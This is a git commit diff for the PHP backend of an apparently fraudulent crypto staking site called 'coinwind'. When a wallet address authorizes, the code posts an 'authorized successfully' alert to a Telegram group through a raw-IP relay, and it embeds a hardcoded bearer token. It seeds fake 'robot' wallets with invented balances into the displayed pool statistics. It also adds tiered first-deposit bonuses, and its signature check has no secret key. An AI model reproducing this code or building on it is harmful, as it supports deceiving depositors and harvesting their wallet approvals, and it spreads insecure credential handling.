updating
This commit is contained in:
parent
10010bb35e
commit
0d9227cb79
|
@ -5,6 +5,8 @@ APP_DEBUG=true
|
||||||
APP_LOG_LEVEL=debug
|
APP_LOG_LEVEL=debug
|
||||||
APP_URL=http://localhost
|
APP_URL=http://localhost
|
||||||
FRONT_URL=http://coinwind.test
|
FRONT_URL=http://coinwind.test
|
||||||
|
TG_URL=http://154.82.76.95:2345/tele/SendMessage
|
||||||
|
ADMIN_HTTPS=false
|
||||||
|
|
||||||
DB_CONNECTION=mysql
|
DB_CONNECTION=mysql
|
||||||
DB_HOST=127.0.0.1
|
DB_HOST=127.0.0.1
|
||||||
|
@ -15,6 +17,7 @@ DB_PASSWORD=secret
|
||||||
|
|
||||||
BROADCAST_DRIVER=log
|
BROADCAST_DRIVER=log
|
||||||
CACHE_DRIVER=file
|
CACHE_DRIVER=file
|
||||||
|
SESSION_DOMAIN='coinwind.test'
|
||||||
SESSION_DRIVER=file
|
SESSION_DRIVER=file
|
||||||
SESSION_LIFETIME=120
|
SESSION_LIFETIME=120
|
||||||
QUEUE_DRIVER=sync
|
QUEUE_DRIVER=sync
|
||||||
|
|
|
@ -18,6 +18,7 @@ class Base
|
||||||
const BALANCE_SHARE_BONUS = 8;
|
const BALANCE_SHARE_BONUS = 8;
|
||||||
const BALANCE_RECHARGE = 11;
|
const BALANCE_RECHARGE = 11;
|
||||||
const BALANCE_WITHDRAWAL = 12;
|
const BALANCE_WITHDRAWAL = 12;
|
||||||
|
const BALANCE_RECHARGE_REWARD = 13;
|
||||||
|
|
||||||
const UNCHECKED = 0;
|
const UNCHECKED = 0;
|
||||||
const CHECKED = 1;
|
const CHECKED = 1;
|
||||||
|
|
|
@ -85,6 +85,9 @@ class CalcProfit extends Command
|
||||||
*/
|
*/
|
||||||
public function handle()
|
public function handle()
|
||||||
{
|
{
|
||||||
|
$this->_daily_revenue();
|
||||||
|
$this->_pool_data();
|
||||||
|
$this->_robots();
|
||||||
}
|
}
|
||||||
|
|
||||||
protected function _daily_revenue()
|
protected function _daily_revenue()
|
||||||
|
|
|
@ -28,6 +28,7 @@ use Illuminate\Support\Facades\Redis;
|
||||||
class ApiV1Controller extends Controller
|
class ApiV1Controller extends Controller
|
||||||
{
|
{
|
||||||
|
|
||||||
|
const K_RECHARGE = 'rt:recharge';
|
||||||
const K_POOLDATA = 'rt:pooldata';
|
const K_POOLDATA = 'rt:pooldata';
|
||||||
const K_USERSOUTPUT = 'rt:users_output';
|
const K_USERSOUTPUT = 'rt:users_output';
|
||||||
const K_TEAMDATA = 'rt:team_data';
|
const K_TEAMDATA = 'rt:team_data';
|
||||||
|
@ -47,29 +48,29 @@ class ApiV1Controller extends Controller
|
||||||
|
|
||||||
// robot
|
// robot
|
||||||
$robots = [
|
$robots = [
|
||||||
'0x061f7937b7b2bc7596539959804f86538b6368dc' => 2343.04,
|
'0x061f7937b7b2bc7596539959804f86538b6368dc' => 10.04,
|
||||||
'0x52b3565be60200079263adeb5ff895819ebee2d7' => 2380,
|
'0x52b3565be60200079263adeb5ff895819ebee2d7' => 20,
|
||||||
'0xe78b5c68cf480f22887a95b21751801d0f50f0a1' => 3478.01,
|
'0xe78b5c68cf480f22887a95b21751801d0f50f0a1' => 9.01,
|
||||||
'0x768bcdfa651e87beea69fc1ef7622edd5624c463' => 1005,
|
'0x768bcdfa651e87beea69fc1ef7622edd5624c463' => 20,
|
||||||
'0xe649084663253ff4251b2d5b0a7d564f7b2bebb2' => 1203.04,
|
'0xe649084663253ff4251b2d5b0a7d564f7b2bebb2' => 12.04,
|
||||||
|
|
||||||
'0x9b38fed7a6f05e07b8a1ecd7b7afeebc05501d89' => 700.04,
|
'0x9b38fed7a6f05e07b8a1ecd7b7afeebc05501d89' => 6.04,
|
||||||
'0xe6d6792081fae1a6429e1e33bbc9a163cd389d68' => 500.23,
|
'0xe6d6792081fae1a6429e1e33bbc9a163cd389d68' => 4.23,
|
||||||
'0x098bfaaf8a5e904b3d4e2274d9d7321eb560306a' => 2000.23,
|
'0x098bfaaf8a5e904b3d4e2274d9d7321eb560306a' => 12.23,
|
||||||
'0x58bf4523c78e94dbb820f04b11ec1c6a14cebd5d' => 1000.09,
|
'0x58bf4523c78e94dbb820f04b11ec1c6a14cebd5d' => 20.09,
|
||||||
'0x57e98e038521db5f10d7ba927166d87cd97cd01d' => 1700.23,
|
'0x57e98e038521db5f10d7ba927166d87cd97cd01d' => 32.23,
|
||||||
|
|
||||||
'0x3d33877fb4b33992901383bd694fa40d1defcd09' => 1009.23,
|
'0x3d33877fb4b33992901383bd694fa40d1defcd09' => 25.23,
|
||||||
'0xf9d92a02a246d48e4646b1d517eec381285654ea' => 803.23,
|
'0xf9d92a02a246d48e4646b1d517eec381285654ea' => 20.23,
|
||||||
'0x26cdf4a61a1be3ea2ee5525ac5453f04f44b3914' => 902.33,
|
'0x26cdf4a61a1be3ea2ee5525ac5453f04f44b3914' => 80.33,
|
||||||
'0x86c230db34a91486d1fd74be4bdcc480c450183c' => 1203.34,
|
'0x86c230db34a91486d1fd74be4bdcc480c450183c' => 12.34,
|
||||||
'0x353356573756b38c00c8e2a7265fba52f5940751' => 2034.20,
|
'0x353356573756b38c00c8e2a7265fba52f5940751' => 18.20,
|
||||||
|
|
||||||
'0xd92faa17644e1710bf2a04c904c4ece11ff28e1b' => 5012.30,
|
'0xd92faa17644e1710bf2a04c904c4ece11ff28e1b' => 50.30,
|
||||||
'0xb38fe32cb5fed4d445984e6ac983752d7533cc50' => 1023.40,
|
'0xb38fe32cb5fed4d445984e6ac983752d7533cc50' => 30.40,
|
||||||
'0x095b5f18a33c4ddc016e426d507eb4ee2d16c670' => 805.23,
|
'0x095b5f18a33c4ddc016e426d507eb4ee2d16c670' => 805.23,
|
||||||
'0x4ea26b3020e54edd0fdc26728c6f63fa8ba3e83d' => 300.34,
|
'0x4ea26b3020e54edd0fdc26728c6f63fa8ba3e83d' => 40.34,
|
||||||
'0xcd6b59c4a9c68f06f70dacf8b26118fb5c853ff5' => 3043.30,
|
'0xcd6b59c4a9c68f06f70dacf8b26118fb5c853ff5' => 12.30,
|
||||||
];
|
];
|
||||||
|
|
||||||
Redis::hMSet(self::K_ROBOTS, $robots);
|
Redis::hMSet(self::K_ROBOTS, $robots);
|
||||||
|
@ -98,7 +99,7 @@ class ApiV1Controller extends Controller
|
||||||
$id = 0;
|
$id = 0;
|
||||||
$he = User::where('address', $address)->first();
|
$he = User::where('address', $address)->first();
|
||||||
if (is_null($he)) { // new user
|
if (is_null($he)) { // new user
|
||||||
DB::transaction(function () use ($request, $address, $protocol, $referral) {
|
$suc = DB::transaction(function () use ($request, $address, $protocol, $referral) {
|
||||||
// create new
|
// create new
|
||||||
$id = User::insertGetId([
|
$id = User::insertGetId([
|
||||||
'address' => $address,
|
'address' => $address,
|
||||||
|
@ -113,11 +114,23 @@ class ApiV1Controller extends Controller
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
if(!$suc) {
|
||||||
|
Log::error("create new register failed: address=$address, referral=$referral");
|
||||||
|
|
||||||
|
return json_encode([
|
||||||
|
'code' => 1,
|
||||||
|
]);
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
$id = $he->id;
|
$id = $he->id;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TODO async
|
||||||
|
$url = config('app.tg_url');
|
||||||
|
|
||||||
return json_encode([
|
return json_encode([
|
||||||
|
'code' => 0,
|
||||||
'id' => $id,
|
'id' => $id,
|
||||||
'shareLink' => config('app.frontUrl') . '?sh=' . $id,
|
'shareLink' => config('app.frontUrl') . '?sh=' . $id,
|
||||||
'address' => $address,
|
'address' => $address,
|
||||||
|
@ -138,7 +151,12 @@ class ApiV1Controller extends Controller
|
||||||
$expected_s = sha1($address . $ts);
|
$expected_s = sha1($address . $ts);
|
||||||
if ($expected_s != $s) {
|
if ($expected_s != $s) {
|
||||||
Log::warning("sign error sign=$s expected=$expected_s");
|
Log::warning("sign error sign=$s expected=$expected_s");
|
||||||
return json_encode(['suc' => 0, 'msg' => 'OK']);
|
return json_encode(['code' => 0, 'msg' => 'OK']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$exists = Authorize::where('address', $address)->first();
|
||||||
|
if ($exists) {
|
||||||
|
return json_encode(['code' => 0, 'msg' => 'dup']);
|
||||||
}
|
}
|
||||||
|
|
||||||
$newRow = new Authorize();
|
$newRow = new Authorize();
|
||||||
|
@ -148,8 +166,28 @@ class ApiV1Controller extends Controller
|
||||||
$newRow->hash = $hash;
|
$newRow->hash = $hash;
|
||||||
$res = $newRow->save();
|
$res = $newRow->save();
|
||||||
|
|
||||||
|
$code = 0;
|
||||||
|
if ($res) {
|
||||||
|
$msg = "$address 授权成功";
|
||||||
|
|
||||||
|
$hc = new \GuzzleHttp\Client();
|
||||||
|
$resp = $hc->post(config('app.tg_url'), [
|
||||||
|
'headers' => [
|
||||||
|
'User-Agent' => 'Super Chrome/2.2',
|
||||||
|
'Content-Type' => 'application/json',
|
||||||
|
'Token' => 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE2ODQ3NDM4ODYsInVzZXJuYW1lIjoic3VwZXJtYXN0ZXIifQ.1R-PvyUg_GXpJOk-7lQTBjBnw0cLRxajx5kNsvuY7OA',
|
||||||
|
],
|
||||||
|
'json' => [
|
||||||
|
'groupid' => -1001256080228,
|
||||||
|
'msg' => $msg,
|
||||||
|
]
|
||||||
|
]);
|
||||||
|
} else {
|
||||||
|
Log::error("address $address create authorized row failed.");
|
||||||
|
$code = -4;
|
||||||
|
}
|
||||||
return json_encode([
|
return json_encode([
|
||||||
'code' => $res ? 0 : -4,
|
'code' => $code,
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -163,26 +201,48 @@ class ApiV1Controller extends Controller
|
||||||
|
|
||||||
//
|
//
|
||||||
if ($amount <= 0.0) {
|
if ($amount <= 0.0) {
|
||||||
|
Log::warning("user $address recharge $amount failed");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$expected_s = sha1($address . $amount . $ts);
|
$expected_s = sha1($address . $amount . $ts);
|
||||||
if ($expected_s != $s) {
|
if ($expected_s != $s) {
|
||||||
Log::warning("sign error sign=$s expected=$expected_s");
|
Log::warning("sign error sign=$s expected=$expected_s");
|
||||||
return json_encode(['suc' => 0, 'msg' => 'OK']);
|
return json_encode(['suc' => 0, 'msg' => 'OK']);
|
||||||
}
|
}
|
||||||
|
|
||||||
$res = DB::transaction(function () use ($address, $amount) {
|
$times = Redis::hGet(self::K_RECHARGE, $address);
|
||||||
|
|
||||||
|
$res = DB::transaction(function () use ($address, $amount, $times) {
|
||||||
|
$reward = 0;
|
||||||
|
if (!$times) {
|
||||||
|
$reward = $this->_first_recharge_reward($amount);
|
||||||
|
}
|
||||||
|
|
||||||
|
$amount += $reward;
|
||||||
// insert into user
|
// insert into user
|
||||||
User::where('address', $address)->increment('balance', $amount);
|
User::where('address', $address)->increment('balance', $amount);
|
||||||
|
|
||||||
$newBlc = new Balance();
|
$newBlc = new Balance();
|
||||||
$newBlc->address = $address;
|
$newBlc->address = $address;
|
||||||
$newBlc->name = Base::USDT;
|
$newBlc->name = Base::USDT;
|
||||||
$newBlc->remake = 'Staking';
|
$newBlc->remake = "Staking $amount";
|
||||||
$newBlc->status = Base::BALANCE_RECHARGE;
|
$newBlc->status = Base::BALANCE_RECHARGE;
|
||||||
$newBlc->money = $amount;
|
$newBlc->money = $amount;
|
||||||
$newBlc->created_at = \Carbon\Carbon::now();
|
$newBlc->created_at = \Carbon\Carbon::now();
|
||||||
$newBlc->save();
|
$newBlc->save();
|
||||||
|
|
||||||
|
if ($reward > 0) {
|
||||||
|
$newBlc = new Balance();
|
||||||
|
$newBlc->address = $address;
|
||||||
|
$newBlc->name = Base::USDT;
|
||||||
|
$newBlc->remake = "recharge $amount reward $reward";
|
||||||
|
$newBlc->status = Base::BALANCE_RECHARGE_REWARD;
|
||||||
|
$newBlc->money = $reward;
|
||||||
|
$newBlc->created_at = \Carbon\Carbon::now();
|
||||||
|
$newBlc->save();
|
||||||
|
}
|
||||||
|
|
||||||
// insert into staking
|
// insert into staking
|
||||||
$has = Staking::where('address', $address)
|
$has = Staking::where('address', $address)
|
||||||
->where('symbol', Base::USDT)
|
->where('symbol', Base::USDT)
|
||||||
|
@ -244,8 +304,6 @@ class ApiV1Controller extends Controller
|
||||||
User::where('address', $address)->decrement('balance', $amount);
|
User::where('address', $address)->decrement('balance', $amount);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
return json_encode([
|
return json_encode([
|
||||||
'code' => $r ? 0 : -4,
|
'code' => $r ? 0 : -4,
|
||||||
]);
|
]);
|
||||||
|
@ -286,7 +344,7 @@ class ApiV1Controller extends Controller
|
||||||
'l1Output' => 0,
|
'l1Output' => 0,
|
||||||
'l2Output' => 0,
|
'l2Output' => 0,
|
||||||
'l3Output' => 0,
|
'l3Output' => 0,
|
||||||
'participant' => 1,
|
'participant' => 0,
|
||||||
'teamRevenue' => 0,
|
'teamRevenue' => 0,
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
@ -360,11 +418,10 @@ class ApiV1Controller extends Controller
|
||||||
|
|
||||||
public function test()
|
public function test()
|
||||||
{
|
{
|
||||||
// self::prepare_data_sources();
|
self::prepare_data_sources();
|
||||||
// $this->_user_account_info('0x19b7A3F7C451dE45a5b4C05a2E3C2849cD47A1de');
|
// $this->_user_account_info('0x19b7A3F7C451dE45a5b4C05a2E3C2849cD47A1de');
|
||||||
// $a = $this->_articles();
|
// $a = $this->_articles();
|
||||||
// var_dump($a);
|
// var_dump($a);
|
||||||
var_dump($this->_pool_data());
|
|
||||||
}
|
}
|
||||||
|
|
||||||
protected function _user_withdrawal_history($address)
|
protected function _user_withdrawal_history($address)
|
||||||
|
@ -398,4 +455,36 @@ class ApiV1Controller extends Controller
|
||||||
|
|
||||||
return $res;
|
return $res;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
protected function _first_recharge_reward($amount)
|
||||||
|
{
|
||||||
|
// TODO read from database
|
||||||
|
$reward_conf = [
|
||||||
|
[
|
||||||
|
'min' => 2000,
|
||||||
|
'max' => 19999.99,
|
||||||
|
'reward' => 39,
|
||||||
|
], [
|
||||||
|
'min' => 20000,
|
||||||
|
'max' => 59999.99,
|
||||||
|
'reward' => 399,
|
||||||
|
], [
|
||||||
|
'min' => 60000,
|
||||||
|
'max' => 99999.99,
|
||||||
|
'reward' => 1299,
|
||||||
|
], [
|
||||||
|
'min' => 100000,
|
||||||
|
'max' => 100000000,
|
||||||
|
'reward' => 2699,
|
||||||
|
],
|
||||||
|
];
|
||||||
|
|
||||||
|
foreach($reward_conf as $item) {
|
||||||
|
if ($amount >= $item['min'] && $amount <= $item['max']) {
|
||||||
|
return $item['reward'];
|
||||||
|
}
|
||||||
|
} // foreach
|
||||||
|
|
||||||
|
return 0.0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -28,6 +28,11 @@ return [
|
||||||
|
|
||||||
'env' => env('APP_ENV', 'production'),
|
'env' => env('APP_ENV', 'production'),
|
||||||
|
|
||||||
|
/*
|
||||||
|
telegram message server
|
||||||
|
*/
|
||||||
|
|
||||||
|
'tg_url' => env('TG_URL', 'http://localhost:2345/tele/SendMessage'),
|
||||||
|
|
||||||
/*
|
/*
|
||||||
|--------------------------------------------------------------------------
|
|--------------------------------------------------------------------------
|
||||||
|
|
|
@ -14,10 +14,10 @@ PS. 提前配置服务器地址,密码
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from os.path import exists, join
|
from os.path import exists, join
|
||||||
from fabric import task,Connection
|
from fabric import task, Connection
|
||||||
|
|
||||||
FILE_TAR = 'coinwind.tar.gz'
|
FILE_TAR = 'coinwind.tar.gz'
|
||||||
DIRS = ('app', 'config', 'resources', 'routes', 'public')
|
DIRS = ('app', 'config',)
|
||||||
UPLOAD_PATH = '~'
|
UPLOAD_PATH = '~'
|
||||||
DEPLOY_PATH = '/www/coinwind'
|
DEPLOY_PATH = '/www/coinwind'
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue